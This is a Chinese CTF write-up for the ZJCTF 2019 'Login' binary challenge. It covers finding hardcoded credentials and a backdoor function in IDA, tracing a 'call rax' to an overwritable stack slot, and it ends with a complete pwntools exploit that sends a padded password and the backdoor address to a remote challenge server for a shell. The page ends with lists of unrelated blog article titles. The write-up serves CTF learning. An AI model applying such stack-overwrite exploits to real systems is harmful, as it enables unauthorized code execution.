[ZJCTF 2019]Login

附件

步骤:

  1. 例行检查,64位程序,开启了canary和nx保护


2. 试运行一下程序

3. 64位ida载入,检索字符串,在程序里找到了用户名admin和密码2jctf_pa5sw0rd

再次尝试登录,无果

在程序里找到了后门函数,backdoor=0x400e88

c++写的程序,看起来有点费劲,自己看了好久都找到漏洞在哪里,后来借鉴了其他师傅的wp后才发现了猫腻
问题出现在检查密码的那个函数上
反编译出来的伪代码看起来没什么问题

但是我们按下tab,看它的汇编,程序在结束前调用了call rax指令

逆向找一下rax的来源,通过查看汇编,找到了进入函数前给rax赋值的指令

通过ida查看读入密码的函数

看一下它在栈上的位置,距离是0x60-0x18 = 0x48

我们可以通过读入密码s去将var_18的地址改成我们之前看到的backdoor地址,之后检查密码的时候就跳转到那边,获取shell了

密码2jctf_pa5sw0rd的长度是14(0xe),0x48-0xe=0x3a,我们在填充0x3a长度的数据,之后到了var_18的地址,填上backdoor地址,即可完成利用

完整exp

from pwn import *

r = remote('node3.buuoj.cn',29427)

backdoor = 0x400e88
r.sendlineafter(': ','admin')
r.sendlineafter(': ','2jctf_pa5sw0rd'+'\x00'*0x3a+p64(backdoor)) r.interactive()

附上借鉴师傅的wp

最新文章

  1. oracle11g RAC1执行脚本结果
  2. 字节b换算kb/mb/gb/tb/pb
  3. 渗透攻防工具篇-后渗透阶段的Meterpreter
  4. GCD的基本知识
  5. linux web服务器必需的库文件
  6. Intellij IDEA 安装 Mybatis插件
  7. 两种局部刷新UITableView的方法的使用条件
  8. iis7如何取消目录的可执行权限
  9. MarkDown基础使用教程-by sixleaves
  10. 在 Linux OpenVPN 服务端吊销客户端证书
  11. 关于bootstrap的一些想法
  12. MySQL的JOIN(四):JOIN优化实践之快速匹配
  13. ubuntu远程桌面介绍
  14. 查看Linux下的文件
  15. WEB框架-Django组件学习-分页器学习
  16. mysql 迁移
  17. rabbitmq应用
  18. Javascript高级编程学习笔记(7)—— 函数
  19. Facebook的bigpipe
  20. 如何直接执行js代码

热门文章

  1. [bzoj5416]冒泡排序
  2. 抽象类和接口的区别详解、package和import
  3. 我的获奖记录及 Important Dates in OI
  4. CF1368F Lamps on a Circle
  5. 查找 Search
  6. 洛谷 P4426 - [HNOI/AHOI2018]毒瘤(虚树+dp)
  7. 关于写SpringBoot+Mybatisplus+Shiro项目的经验分享三:问题2
  8. 08 eclipse配置JDK
  9. 使用input+datalist简单实现实时匹配的可编辑下拉列表-并解决选定后浏览器默认只显示value的可读性问题
  10. Spark基础:(五)Spark编程进阶